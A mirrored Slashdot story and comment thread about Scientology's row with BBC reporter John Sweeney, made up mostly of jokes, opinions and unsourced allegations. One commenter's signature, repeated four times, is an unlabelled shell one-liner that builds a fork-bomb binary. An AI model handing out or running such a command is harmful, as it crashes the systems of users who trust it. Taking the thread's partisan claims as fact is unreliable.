Slashdot Mirror
Scientologists In Row With BBC
CmdrGravy writes "The Church Of Scientology is currently engaged in a row with the BBC, a result of an investigation by reporter John Sweeney. Sweeney is investigating the Church Of Scientology, trying to judge changes in the organization over the last few years; He's trying to discover if they've moved away from the questionable practices and secrecy they have employed in the past. The conflict centers around a YouTube video posted by the scientologists. It shows Mr. Sweeney losing his temper with a scientology spokesman. Mr. Sweeney's outburst came at the end of a tour of a scientology exhibition which attempts to portray psychiatrists as evil nazi type torturers entitled 'Psychiatry: Industry of Death' which is both gruesome and utterly unconvincing. The BBC appears willing to stand behind its reporter, in spite of the pressure brought to bear by the scientologist organization."
What makes you say that? The BBC have a lot of money and very, very good lawyers.
Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
Why are wasting our time with a bunch of delusional cultists?
Their material calls that there's not a shred of "scientific" evidence that mental illnesses exist, instead it's all about the alien ghosts lord Xenu imprisoned.
I mean, for Christ's sake, people. Is there a limit to how ridiculous you can get?
Join scientology now and you to can talk to dead space aliens.
Special introductory offer - join now for just $360,000USD.
It's pretty simple. The Scientologists want to rule the world with their wacky ideas and the BBC want to rule the world with their dialect of the English language. With both of them in a hissy fit with each other, they can do neither. So you can relax, throw popcorn and laugh at them.
Karma police, arrest this man. He talks in math. He buzzes like a fridge. He's like a detuned radio.
The Church of Scientology has made it difficult to criticize them, because they tend to send the lawyers after anyone who does (generally on grounds of copyright infringement). Most people here would consider it a right to criticize, as a subset of the right to freedom of expression.
I guess this is sort of peripheral to that, but still...
And being attacked for criticizing Scientology is something that could have happened to you. For, let's say, talking bad about those Sons-of-a-Bitch here on Slashdot.
The creatures outside looked from Alt-Right to Antifa; but already it was impossible to say which was which.
http://www.youtube.com/watch?v=hxqR5NPhtLI There ya go!
If there were ever devil-worshipping human slime, with a penchant for pederasty, it was L. Ron Hubbard.
Oh, yeah. Charles Manson was a Scientologist.
http://rigorousintuition.blogspot.com/2006/02/why
"Flyin' in just a sweet place,
Never been known to fail..."
Bad driving: Industry of Death
Thousands of people die in car accidents each year. All of them drove facing the steering wheel and front windshield of the car [showing big charts on the presentation screen to show some convincing statistics].
The bottom line: we should drive facing the rear end of our cars.
---
But damn, I'd rather drive my car sitting backwards than believe some alien sci-fi story since they just discovered there are bad psychiatrists, like there are bad professionals in every area of life.
You're obviously new here. Slashdot and the Co$ are old buddies.
3 49237d =99
http://slashdot.org/yro/01/03/16/1256226.shtml
http://yro.slashdot.org/article.pl?sid=07/05/10/1
http://slashdot.org/yro/02/03/21/0453200.shtml?ti
They've attempted to force comments off slashdot. They've forced xenu.net to be delisted from google. They're going after people who publish the OTIII "documents". They're abusing the DMCA.
That's why this is on slashdot.
"Rune Kristian Viken" - http://www.nwo.no - arca
Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
"Writing for a penny a word is ridiculous. If a man really wants to make a million dollars, the best way would be to start his own religion." - L Ron Hubbard
Libertarian Leaning Political Discussion Forum.
I heard an interview on BBC's world service about this incident yesterday with a scientology spokesman. The spokesman denied well known quotes from L Ron Hubbard and also stated that that Sweeny was making up allegations that he was being harassed by the "Church" for his documentary.
Then the spokesman boarded a space craft and flew back to Oz. Not really...I made that last part up.
FAQs are evil.
How about having to pay to be a member? Scientology is a manipulative business, and that is put mildly.
Brainwashing and "disconnecting" people from your family doesn't float your boat, eh? Being swallowed by a cult is devastating for the families involved. So as long as these crazy people aren't hurting you you don't give a fuck, eh?
-- Trinity in high heels carrying a whip: The donimatrix - there is no spoonerism
Yes, Scientology is nutty, but that's about normal for a religion. Could be worse. They don't have a big pedophile problem, suicide bombers, or televangelists, like some of their competitors.
Nutty? So, Scientology is in fact a mental illness, which doesn't acknowledge mental illnesses.
What a cosmic irony.
I suppose in this case you're right, we gotta be more PC to Scientologists and their "special condition".
Sam: Dude, we're tainted by the souls of aliens blown with nukes by alien space invador from a galaxy far far away!
Jim: Man, you're a f***ing idiot or something? STFU!
Sam: No, I'm a scientologist...
Jim: OH! Oh... oh buddy, sorry I had no idea. I really had no idea.. but you'll be fine, yea.. you'll be just fine.
Here's why:
A key belief and practice of the Church involved "auditing" via the "E-Meter". The "E-Meter" is a bargain-basement lie detector. It works on galvanic skin response; it can measure (crudely) fluctuations in your emotional state. It can't measure much past that. So one person holds these two "tin cans" while somebody else tries to make them respond enough to flinch the needle.
The person being "audited" is practicing how to be emotionally non-responsive to whatever is thrown at them - and that can involve verbal abuse, shouting, whatever.
This isn't controversial or something the "church" denies.
What most people don't think about is the flip side: what is being learned by the person NOT holding the tin cans? The one trying to trigger a response in the other?
Yup. You guessed it. They become masters (eventually) at "pressing people's buttons".
So anybody not used to this sort of thing or who isn't expecting it can be made to "blow up", sometimes spectacularly. And I'd bet good money that's exactly what they did to Sweeney and for exactly the reason they've used this incident: to portray any opponent as an out of control loose cannon, nutcase, etc.
Don't go up against these guys unless your self control is rock solid AND you understand this technique. Be ready to say something like "much as you might prefer otherwise, I'm not being "audited", I'm not standing here with tin cans in my hand looking like an idiot, you're not going to get me to blow up". Turn it back on 'em, they'll start foaming at the mouth. If a Rondroid is trying to get you pissed, ASSUME there's a camera pointing your way.
Which hasn't been released yet.
I don't critique the Church of Scientology because they are over the top. I use the almighty buck (which I feel too few consumers do these days.) I refuse to watch, buy, or do anything with folks that go over the top with Scientology. For example Tom Cruise. Ever since his over the top outbursts I decided to stop buying, watching or doing anything with his movies.
Of course me as a single consumer will probably not make much of dent, but I wish more consumers would do the same. Though I am thinking more in general about this and not specifically Scientology. People complain, etc, yet few do anything like stop buying products. If people realized that the buck has more power and sway than a single vote maybe there would be some real change.
"You can't make a race horse of a pig"
"No," said Samuel, "but you can make very fast pig"
I think it's kind of ironic that if you want to look at the downside of Scientology, you only need to look at their celebrity converts. E.g. Tom Cruise going increasingly off the rails now he's not allowed to see his shrink or take prescription drugs, or John Travolta forced to deny his homosexuality. If they weren't Scientologists, you get the impression they'd be happier. Richer too probably.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
http://www.youtube.com/watch?v=ab8hpHY9zDQ It doesn't seem so harsh at this angle and the scientologist is the one who starts with the voice raising. Sweeney just takes it to the next level. Obviously out of hand for a journalist, but quite satisfying to see.
The one characteristic that I've noticed is consistent across scientologist interviews I've seen is that they all have a creepy boneheadedness when it comes to answering any question, no matter how innocuous it may be. It's as if every moment in life has to be a confirmation of their beliefs.
But they do have Tom Cruise, and that more than makes up for the rest.
I don't therefore I'm not.
As Sweeney pointed out, Scientologists' comparison of psychology to Nazism is disgusting. That's why I wish Godwin's Law could be extended to the beyond the [forum|usenet|chat] world. Abusive display at a conference? You loose!
"it's not about aptitude, it's the way you're viewed" - Galinda
http://en.wikipedia.org/wiki/Church_of_Scientology _Moscow_versus_Russia
This is a recent development - in April the European court of human rights decided that it was against EU law for Russia to deny Scientology religeon status - a judgement that applies to all EU member states including the UK and Germany (who have previously been quite outspoken against it).
May I draw people's attention to http://www.xenu.net/
Scientology - the cult pyramid scheme
biopowered.co.uk - catalytically cracking triglycerides for home automotive use since 2008. Just say no to big oil!
Has Slashdot ever had a run in with Islam? Seems like people here are a lot more skeptical of the idea that Islam is a murderous cult than Scientology.
Whereas to me, as soon as the whole Satanic Verses controversy errupted, it was pretty clear that Islam is fundamentally incompatible with a modern liberal democracy, just like Scientology is. Hell, Christianity is incompatible if it's still based on the old testament, it's just that mainstream Christians seem to have deprecated those bits of the Bible since the Enlightenment.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
When I was just out of high school, there was a Scientology office in my town. They always had a sign out front offering a 'Free Personality Test'. On a lark, a pal and me went in and had our personalities 'tested' just to see what they were hawking. When I was done, they compared the multiple choice questionare to their chart, and drew some lines through it. They explained to me that I was doing fine, and that I was already highly Dyanetic, or whatever they called it. They then thanked me for coming in, and told me to have a nice day.
I have never been quite sure how to take that. Maybe I should have sang them the leader song...Na Na Na Na Na Na Na Na Leader! Leader! Batman!
It's most likely here because scientology nutjobs have sent Slashdot a cease and desist in the past, and made them pull down posts with copyrighted material (I'm fine with that) and links to copyrighted material (I'm not fine with that).
--
WHO ATE MY BREAKFAST PANTS?
Nutty? So, Scientology is in fact a mental illness, which doesn't acknowledge mental illnesses.
What a cosmic irony.
Makes you wonder what happened to L Ron Hubbard to make him so anti psychiatrist.
And actually, lots of religions seem to have a sense of who their enemies are that require that they know the world view they espouse is wrong. E.g. if you're inside scientology, they hatred of psychiatrists seems quirky. But if you're outside, you can see that psychiatrists can deconstruct brainwashing techniques and deprogram scientologists so it makes sense that the religion considers them a threat. Just like if you're outside a cult, you can see that the cult needs to cut people off from the outside world as much as possible to stop them seeing counter arguments to the cult's bizarre theories, but if you're inside the cult and you believe it to the the truth, why bother.
I suppose in this case you're right, we gotta be more PC to Scientologists and their "special condition".
Why? liberalism isn't a suicide pact - you don't have to hold off cricising people when they're out to destroy it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Got the same impression. Poor guy. I mean, you should in that case simply turn of the camera and explain it during editing (after all, when cutting your tape you have full control of what goes on screen and what doesn't)... But I know that religious types (let's define religion broadly) can really pull the blood away from under your nails. Any exchange between a religous person and a sane person is inherently unfair. The religious person believes in things that are made up, in fairytales that are easily shown to be fiction. By nonetheless believing those they show that their mind is like ROM. It's litterally like talking to a brick wall. There is this part of them that parses enough of your sentences to generate an inadequate answer, but no information actually gets past their mental firewall.
John Sweeney, I support you 100% on this one. This whole incident probably says more about Scientology than about you.
John Sweeney writes about his "harassment" (supposedly at the hands of the Church of Scientology), but this pales in comparison to that experienced by dissenters or those who bad-mouth other religions. As we've discovered in the last year, even publishing a drawing of Mohammed can lead to death threats and street protests the world over. Even writing, performing, or publishing a poem about Jesus, a character from "The Bible", can lead to prosecution and snitchery in the UK, a supposedly developed country. Note that in the linked case, Bakewell was "reported to the DPP by the National Viewers and Listeners Association."
Tu Quoque is not a valid argument you know, even when it's true. Actually the case you linked to is the end of a centuries old battle by liberals against Christian limits on free speech. I can't prejudge it, but my guess is that the liberals will eventually win and blasphemy laws will at some point be abolished entirely or neutered to the point where they are no threat.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Ok, I'll call you the winner since you have the most plausible explanation. I didn't prepare a prize or anything, so don't get too excited.
Slashdot - where whining about luck is the new way to make the world you want.
I wouldn't bother to speculate on the sexuality of those unknownst to me, but I can assure you that I see 'scientology' as one sinister (expletive) organisation. By what I see, it takes the basic principle of every 'addictive' in most every religion - namely, the prize of being 'chosen' over others, our reluctance to actually think, and our weakness to calls to authority (most will obey the orders of a cell phone for lord's sake) - and use it as a means to the common goal of most all, save the most primitive, religions - your money.
Remember: If they want to succeed in engendering an 'elite appeal', they depend on you to see them as the elite.
No, no sig. Really.
ThePromenader
Yes, I'm sure. I'm also sure that I was the one that first discovered it, reported it to kuro5hin, to alt.religion.scientology, and attempted to report it to slashdot (but someone got their article accepted instead of mine ).
4 53200&tid=991 41250
Here are the links:
http://yro.slashdot.org/article.pl?sid=02/03/21/0
http://yro.slashdot.org/article.pl?sid=02/03/22/0
So, they did force xenu.net to be delisted by google. Google luckily changed hearts, probably due to the enourmous amounts of attention that was generated here, on kuro5hin, and all over the internet. In addition to hating the idea of letting themselves be censored in such a way. It was also one of the first time google linked that some searches were excluded - linking to chillingeffects.
"Rune Kristian Viken" - http://www.nwo.no - arca
The difference is that most nutty Protestant sects do not become as large and rich as the Church of Scientology, and they also have to keep some sort of attachment to a nominally Christian approach. They also have the problem that their followers do tend to be socially mobile - the fact of going to Church shows they want to "better" themselves - and with social mobility comes exposure to more educated people who may guide them towards mainstream Christianity. Scientology, on the other hand, is not a bizarre offshoot of a mainstream religion and there is no central tendency for its followers to gravitate back to.
There is too with cults an interesting anti-intellectual tendency. If you want to make authoritative pronouncements in, say, the Catholic or Episcopalian churches, you are probably fluent in NT Greek and can read the NT in the original. Cults contain less educated people, so they will do things like take a particular English translation of the Bible as being authoritative and solve the problem that way. Extreme cults can get a following from rich people who do not want to invest the time and effort needed to become familiar with, say, the Bible or the Pali texts. You can join something like - oh, say Kabbalah - and say pretty well anything in public without looking ridiculous, while a Hollywood actor who tries to sound knowledgeable about the Bible had better know his or her stuff because there are so many well informed people listening. A religion that does not let its sacred texts get out too much is at an advantage in this respect.
As a part time student of religious sociology, it's a pity I won't be around in 50 years to see if Scientology, like Mormonism before it, is evolving into a mainstream religion and gradually losing its bizarre baggage.
Pining for the fjords
...in NYC Times Sq. Metro. "Free personality test" they called it. Being in a generally good mood at the time (first day in the US no less), I though "why not" - the girl looked pretty hot, and it was an excuse to talk to someone. So I hold the tin cans, and the questions start coming; "how are you doing", and then "no really, how ARE you doing?", and then more like "I think you're insecure" and "This book can help with that" - despite my protests that I was actually OK. This pissed me me somewhat, as my good mood turned quite sour quite quickly and in fact, I left rather pissed off.
Anyway, the next day, I saw them again, and this time I was ready for them. I did the whole "Oh, I wonder what this is" type gaze, and sure enough they invite me over for another free personality test, and sure enough the same questions start. The needle was going no-where this time, and in fact the more the guy tried to convince me i was a mental train-wreck the more my confidence grew and the needle fell. Eventually I actually start laughing at the guy interviewing me, and he can't take it any more so hands me over to another fine looking female who tries a similar technique. At this point I'm chuckling even louder at their constant mental batterings, and people are starting to take interest in the commotion, at which point they try and sell me their book once last time.
I tell them quite clearly and loudly enough for the onlookers to hear that "when I'm as insecure as you lot, I'll buy your stinking book then and burn it". To which my awaiting friends added "Scientology is for losers".
That showed them.
throw new NoSignatureException();
photo of L Ron Hubbard "auditing" a tomato.j pg
http://www.clambake.org/archive/books/bfm/tomato.
I'd say it still has a few thetans to go before it makes clear.
If I have seen further it is by stealing the Intellectual Property of giants.
Ahh, wishful thinking. How quaint.
It really saddens me to rain on your utopian dream, but "it would work if we _all_ did X" _never_ worked. Never worked, doesn't work, never will.
By the same token, yeah, it would stop spam if we _all_ didn't buy that stuff, but there'll always be some idiots who do. Yeah, it would stop stock scams dead if we all didn't rush to buy hyped-through-spam stocks, but there'll always be some "smart" guys who think they can beat the system and do their own buying and selling just before it crashes. (It has been already proved to never work, but, hey, there's one born every minute anyway.) Yeah, it would stop unethical business practices dead if we all stopped buying from and investing in unethical companies, but, let's face it, you're a minority there; the majority just buys from whoever sells the cheapest, invests in whoever promises the most gain, and would even deal with the mafia perfectly happily. Etc.
And so it is with this kind of fucked-up cults too. Wishful "if we all started boycotting them" thinking won't work, because there'll always be a minority, no matter how small, who are fucked-up in the head and need some exotic, non-mainstream religion to give meaning to their fucked-up lives. And a cult doesn't really need billions of members to be profitable. If only as few as those who buy from spam links are also gullible enough to join your cult, you're already a rich guy. It's that simple.
So you'd literally need to get _everyone_ to join in your boycott for it to work. Not just "more", but literally "all".
In other words, the "allmighty buck" isn't that allmighty at all when it comes to righteous causes. And it tends to work against you every time.
What you need isn't self-righteous boycotts, what you need is laws and courts of law. You already have laws saying that (A) small excerpts _do_ fall under fair use, even if scientology doesn't like it, and (B) once they've made themselves a public figure, they can't really stop other people from talking about them, or even ridiculling them, and (C) they aren't supposed to use lawsuits just to silence their critics. See that those laws are applied. That's really the only realistic, working solution.
A polar bear is a cartesian bear after a coordinate transform.
Sweeney didn't lose it. He tried a different response after a solid week of total frustration and non-answered questions and attempts to exchange understandings of how outsiders view CoS and how CoS members view their detractors. I would have lasted an hour before the same. Interestingly the BBC have received legal papers from lawyers in Hollywood asking that their famous clients (i.e. Kirstie Alley) are removed from the report as I guess they don't want to be linked with the CoS. This of course is the CoS removing balance from the debate.... and I wonder why people them think they're barking.
Say, that's a nice defrag utility on your Windows box there. Is it by any chance Diskkeeper?
The end of the BBC...
You are aware that it is effectively part of the British state apparatus, aren't you? It isn't just a British CNN, NBC or whatever, it was established and is maintained by Royal Charter.
http://www.bbc.co.uk/info/policies/charter/
I think it highly likely that any action launched against the BBC in this respect would fall flat at the first hurdle. And if they do actually get sued in the US then in every other place the BBC operates, the plaintiff can expect a huge campaign of negative publicity for the rest of time; they won't back down when they believe that they are right - for any reason.
For me, the creepiest part of Scientology is the 'fair game' policy - that if you're a critic of Scientology, a 'suppressive person', the group gives its members carte blanche to attack you. It sounds like a great basis for a thriller movie (The Wicker Man had a similar premise, so there's precedent there).
Your exactly right. I watched this on the BBC Breakfast news along with other clips of the programme and it's quite easy to see why this guy lost his cool. I also found out that the church is accusing the BBC of terrorist threats and of somekind of protest(?) - I can't remember the exact details.
The church isn't exactly looked upon favourably in the U.K. and I doubt that by going up against the BBC they'll look any better. Anyway, I can't wait to watch the rest of the show.
Sorry for hijacking your point.
This has, in fact, happened. As far as I am aware this is the only time in history that a Slashdot comment has been edited.
qntm.org
Wow. The "spokesman" is pretty much a master of getting people extremely pissed off. You can tell in the tone, in the VERY precise words used. It puts you off at first by speaking down on you like a child, and then keeps attacking until you feel you have no choice but to raise your voice so you cannot hear them while refuting them.
...actually quite impressive, were it not coming from a religion.
This is a bit off-topic, but I just want people to know that you don't have to look hard to find scientologists pushing their beliefs on people. The Wikipedia article on scientology seems to regularly be edited by CoS shills who try and turn the article into a PR brochure. Just look at the talk and history pages for the culprits.
Are they something like intergalactic pubic lice?
I'm with you except for one thing, I read that most of the cast of My Name Is Earl are scientologists and that show is soooo sweet. I'd really miss that.
I want a list of atrocities done in your name - Recoil
Intelligent Design.
Care to explain why we waste our time with that kind of delusion? Because the head honchos just happen to follow a religion that supports it?
It might seem unrelated, but I see a parallel. One claims that there's no mental illness and it's all some deity (or, if I remember right, its enemies) messing with your inner alien. The other one claims that, since you can't prove every single step taken from the beginning of the universe to the world as we know it now, it's all a bunch of fabrications and we should instead rely on magic detailed in some old book. Both call science bollocks and we should instead rely on some magical fabrication of some kinda god.
Could you point out the difference to me?
Religion is something wonderful, and if people need it for their inner peace and 'cause they got nothing better to do, ok, have fun. But don't mess with my life, and most of all, don't mess with science, dammit! Religion has no room in science. Science is about disproving things, not blind faith in them!
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
But they are (as far as I'm aware), the only religion to insist that you have to pay in order to gain access to their sacred texts. And the only religion to believe that we all came here on Douglas DC-8's. I'd be interested to see how large a planet would have to be to support 178 billion people. No wonder Xenu decided to nuke the whole damned lot of them.
It's most likely here because scientology nutjobs have sent Slashdot a cease and desist in the past, and made them pull down posts with copyrighted material (I'm fine with that)
I'm not fine with that. If Scientology-copyrighted material has been posted at Slashdot, it is:
* Noncommercial in nature. Posters at slashdot are not generally rewarded financially for their posts.
* Likely to have been a small excerpt. Seriously, you're not going to post the entirity of whatever you're quoting from, and you're likely to only have a summary anyway, as Scientology guards their original documents pretty well.
* For the purposes of criticism, and therefore protected speech.
* Unlikely to affect the commercial value of the copyrighted material (at least via the mechanisms US courts seem to recognise as performing this function).
It would therefore, in my (non-lawyery) opinion, be fair use.
The documentary "Scientology And Me" is being shown tonight (Monday 14/5/2007) on BBC1 at 8:30pm
Don't make the mistake of thinking that Islam is a homogeneous entity. There appear to be as many different interpretations of Islam as there are of Christianity. Most of the Muslim world weren't burning the Satanic Verses. But of course these moderate silences didn't make as good tv.
The BBC has twenty regional United Kingdom stations broadcasting TV and Radio programs in each of the regional accent. The main BBC news show on Radio Four http://www.bbc.co.uk/radio4/today/ has John Humphries (Welsh - that's the country on the left hand side of the bottom part of the island) and James McNaughtie (Scottish- that's the country at the top of the island). So how the BBC will implement its plan to rule the world with "their dialect of the English language" will be worth observing. Will the subjugated peoples sound like the cast of Upstairs & Downstairs on Nembutal or perhaps they will all talk in Gordonstoun, that funny version of the Scots dialect that the Royal Family (HRH Prince Charles, HRH his mom The Queen and their various relatives) uses? I watch Fox News and I still can't get that Bill O'Reilly accent down pat. Weird.
Posts, MyBio or Sig, may contain satire, sarcasm, bolded nouns be sardonic or even witty & be Church of SD
The Cult Of Scientology doesn't like Psychologists because they are people who know how to avoid CoS' mind games and tricks.
Scientology's hatred of psychologists is only a natural reation. It is fundamentally essential to the very survial of Scientology that they demonize and hate a group of people who are immune to psychological manipulation, psychological intimidation, and brainwashing. These concepts are the only things that allow Scientology to exist, and by demonizing the very people who specialize in undoing brainwashing, and are immune to psychological mind games, they are simply demonstrating a natural instinct to keep the church in existance by protecting, rather viciously, their Achillie's Heel.
In an interesting side note:
I wonder if Tom Cruise noticed the irony in the fact that he played the leading part in "War Of The Worlds", a movie where he has to defeat aliens who need to suck the blood out of human beings to keep their civilization alive, when CoS sucks the life ouf of anyone who dares to criticize them.
For the recod:
I welcome our Thetan overlords!
Knowing Google's lust for data collection, the Soviet Union is still alive and well inside the psyche of Sergey Brin....
The UK is referenced because we STILL can't have stores be open more than 6 hours on a Sunday because of some fictional character in some fictional pile of cod-swallop from 2000 years ago
Just wanted to let you know that the primary reason behind current sunday-trading laws is actually "protecting the family" and not religiously motivated. Religious concerns dictated the choice of sunday as the day, but the primary motivation was purely secular.
>>because we STILL can't have stores be open more than 6 hours on a Sunday
Thats England, come north of the border Badboy. Mind you that's if we can get our Parliament
members to talk to each other..
Now mod me me offtopic/pedantic!
Acid House saves Souls
>well, you best remove teh windows degraf
Friend, you seem unable to get your letters in the right order. We at the CoS can help and would very much like you to come over one day for a FREE personality test. We can then help you unravel those chaotic thoughts, purify your mind and assist in the distribution of your dollars. Call 800-I-AM-A-MUG.
I want a list of atrocities done in your name - Recoil
Heh yeah. It's the pyramid scheme of religions :)
* Slashdot earns money from traffic (via ad clicks). Admittedly, the poster was not receiving financial reward.
* It was the whole of OT III, which at the time was not very easy to find.
* I don't think the original post had any criticism, just the text.
* Why is it unlikely to affect its commercial value? If people were able to read OT III when they were just joining then Scientology would practically collapse.
I'll thank you to refer to Our Betty as Her Majesty. (She's also HRH the Duchess of Edinburgh, but when you're referring to her queenship, it's HM.)
> ..actually quite impressive, were it not coming from a religion.
Because... It isn't coming from a religion. Scientology isn't a religion. Its a profit oriented company disguised as religion. I'm actually quite suprised there are not more of them, considering how easy it seems for the scientologists (and in fact most other religions) to leverage religion laws and make money out of it.
I sincerely don't think any of the scientologists believe in any of the stories about Xenu and his hidden star ships, the same way FSM people dont believe in their flying spaghetti monster. What they both have in common is that they emulate the patterns of real religions to the point when they are reckognized as one under the law. They differ in that the FSM community is in this game for fun, and Scientology for money, and..... for some kind of... I don't know, PURE EVIL!
The real problem with Tom Cruise movies is that they all seem to have Tom Cruise in them.
The original word was closer to "murder".
You all disgust me. None of you ever met or know anything about Ron Hubbard.
No one ever has achieved as much as Ron in the whole history of human existence. Astronaut, brain surgeon, Nobel Prizewinning biodynamicist, philosopher, painter, statesman, travelling salesman, charlatan, truck driver, leopardskin accessories - you name it and he did it better than any man had ever done before him.
"Light peace and universal karma to you all. L. Ron has passed into the clouds of unknowing where the Self is Unself and the mind is as unmind and all that sort of thing. L. Ron may have melted from the earth like snow, but, one thing lives on. His money. Please send cheque to address below."
The marharishi Veririshi, The Cayman Islands
"Light, peace and all the same sort of thing as from the other one with the beard. You've got to hand it to L. Ron - when it comes to pulling the wool over the eyes he was in a class of his own. I only wish I had a piece of his action.'
The Bhagwash Rujrish
Somewhere in India
(Address withheld on request)
"Life is both river and mountain, forest and sea. To know life is to be part of life. Give me your cheque immediately."
-" These words written by the greatest genius who ever lived. L. Ron Neasden, totally encapsulate the whole message that L. Ron was trying to put across to mankind.
Wrong. The difference between a cult and a religion is that you can leave a religion. The Church of Scientology disconnects its members from their families so they have nowhere to go when they leave, and brainwashes them under hypnosis to keep them from wanting to. The Church of Scientology is also the only "religion" to keep its core beliefs secret, to be run for profit, and to have its own paramilitary[1] and counter-intelligence[2] operations.
There may be a Scientology religion, but that is NOT the same as the Church of Scientology. Separate the religion from the organization which practices it, and you will see that the organization is so thoroughly corrupt that it cannot be allowed to continue to exist in its present form.
(Posted anonymously for my own protection, as everyone else who casually criticizes Scientology should.)
[1] http://www.xenu.net/archive/so/[2] http://www.xenu.net/archive/go/index.htm
It's true I tell you, feller at work's next door neighbour read it in the paper.
Other stuff to read is anything about the sort of tricks that Derren Brown gets up to - he has done a 2 DVD pack with card tricks of which the second one is mostly about psychological manipulation like how to make people think of one particular card in a full 52 deck.
Study, and be amazed as to just how easy it is to put someone on the wrong track. The "church" (bit of an insult to the word) makes full use of this. Start an argument on false premises and then walk away, witter away at one flaw in a story to invalidate the whole story .. hey! Where did I hear that before?
Insert
Are you sure you aren't a Scientologist? I'm surprised at people's willingness to let them off so lightly. Obviously you haven't researched the group's history.
c ult.html
We have people who have been killed by Scientology. We have people who proteest it and end up bankrupted by lawsuits. My lawyer friends tell me they read quite a bit of case law having to do with Scientologists just because they litigate so frequently.
Don't you wonder why they aren't litigating against the Pledge of Allegience or In God We Trust, but instead to protect their "secrets"?
Repeat until it sinks in: NO other religion charges you money to believe. Or to find out just WHAT you are supposed to be believing in.
Scientology is a cult. A cult has a specific meaning in this case. It isn't a smaller (vs. Christians) persecuted (aren't they all?) religious (it might not be) group. It's a brainwashing group which keeps you from leaving. And other things.
With its plethora of lawyers and infiltration into the IRS and other governmental branches, Scientology has gone from being a harmless cult to a "religious" mafia.
Take the recent example: A misdemeanor which wouldn't normally be enforced gets you a year in jail. WTF? I'm worrying.
Random people attempt to define cult:
http://www.infidels.org/library/modern/mathew/sn-
http://www.apologeticsindex.org/c09.html
http://www.ex-cult.org/General/identifying-a-cult
http://www.cultfaq.org/
Disclaimer: I'm Christian, so maybe I'm just offended at being lumped in with these people. I think my rights are more endangered when Scientologists' rights are being protected. At least as they've been protected so far.
You are aware that the BBC, in practice, is independant of government influence? Having said that, if it came to war with scientology everyone would back it. It's a national institution and the only people who have anything bad to say about it are license-dodgers who watch it anyway.
I am one of many. My idea is not unique, nor do I expect my voice alone to sway you. I speak in a chorus of opinion.
If you're referring to the "Chef" episode of South Park, and assuming that Hayes did say the things attributed to him (*), then he deserved all the piss-taking he got. No-one likes a hypocrite who's happy to take part in making fun of any religion until it comes to their own.
(*) At the time (he was ill with a stroke) it was unclear if words had been put in his mouth by other figures in the Scientology movement, but I don't see him denying it now.
"Slashdot - News and Chat Sites Deviant". (Click "homepage" link above for details).
>Can you explain the difference for those of us who aren't experts in
>four thousand year old texts?
It's things like:
BAD: Killing someone in a fight or because you wanted to rob them.
GOOD: Killing someone because they wore mixed fibres or smiting your father.
I want a list of atrocities done in your name - Recoil
The big difference between islam and the "church" of scientology is that the latter is an organization, not a belief system. When people talk about scientology, the usually mean the CoS, but in reality, that's conflating two distinct things: there's scientologists who're not part of the CoS (the so-called "free zone").
So comparing the CoS and islam is comparing apples with oranges. What would make sense would be to compare the CoS and, say, al-Quaeda; both of these are murderous cults trying to advance political goals with a "might makes right" approach that completely casts aside any kind of moral or ethical considerations. Same for those who involved in the whole "let's-kill-Rushdie" thing, of course, but those are still distinct from islam as such - they're just a bunch of loonies. Dangerous loonies, yes, but still...
As for scientology as a *belief* system, it's batshit crazy, of course (aliens were brought to Earth millions of years ago in DC-8s, stuffed into volcanoes and blown up with atom bombs, and anyone who tries to remember this will die of pneumonia? wtf?), but not *per se* dangerous than other religious dogma. I personally think it's even crazier than christian, jewish or islamic dogma, for example, although those are pretty crazy as well already, but believing in it does not automatically make you a bad person.
But the belief system doesn't matter, anyway. The CoS is an evil cult because it does evil things, not because of what it believes - or claims to believe, since scientological dogma is just used as a tool of control, anyway. The CoS has never been about anything except power and money, without regard for anyone or anything standing in the way. That's what makes them evil and dangerous.
Neither Scotland, England nor Wales are countries. They don't exist.
The country is "The United Kingdom of Great Britain and Northern Ireland".
Deleted
Well, actually, every Prime Minister since at least Churchhill has disliked the BBC for political reasons, but that's a sign they're doing something right politically. And I doubt the British government wouldn't come kick the shit out of Scientology if it tried to push down the BBC.
Please, for the good of Humanity, vote Obama.
And being attacked for criticizing Scientology is something that could have happened to you. For, let's say, talking bad about those Sons-of-a-Bitch here on Slashdot.
We take offense to that and will fight that accusation. There was clearly more than one bitch involved in the making of our members.
See you in court.
Sincerely,
Scientology
USE HOT GRITS WITH STATUE OF NATALIE PORTMAN (NAKED AND PETRIFIED)
Nope, that will happen whenever the Tories next get into power and end the licence fee. Unless Labour do it first of course. The beginning of the end was probably when they got fscked by the government over the Dr Kelly/Butler report business.
I'll admit that the Jimmy Swaggarts and Jerry Falwells of the world certainly don't give Christianity a very good image. If you blast them in the press, though, they don't try to destroy you personally or professionally. They live life under enough of a microscope that they can't get away with quite that much.
Scientology is not open. It's secretive and dark (the non-GPL'ed "religion"). If you write about them, they may sue you for copyright infringement (since L. Ron's books were originally published as bad sci-fi). Their temples are labyrinths according to a friend who went in for a "stress test".
It's pretty scary and their ability to manipulate the system makes it moreso.
Regards, Ian
.. they can not claim it isn't a religion. The church of scientology will fight tooth and nail claiming religious discrimination and they will win.
So rather than claiming that scientology isn't a religion, what can be done to avoid having to give these fraudsters tax benefits and possible government funding?
Simply stipulate that only "open" religions can be given these benefits. That is, only religions in which all the religious texts are freely reproducable and the religious services are open to anyone without payment, will be given full benefits.
This would help against a whole host of other cults it would be easy to argue that only open religions can be considered charities.
The fact of my anonymity doesn't bear on the clear fact of the diminishment of the Scientology organization over the years.
Admittedly, I haven't checked lately, but the last time I saw membership stats they were below 100,000 in the USA.
There is that, but actually I was referring to "Trapped in the Closet," the South Park episode that sends up Scientology directly, including a summary of the Xenu story with the caption "This is what Scientologists Actually Believe".
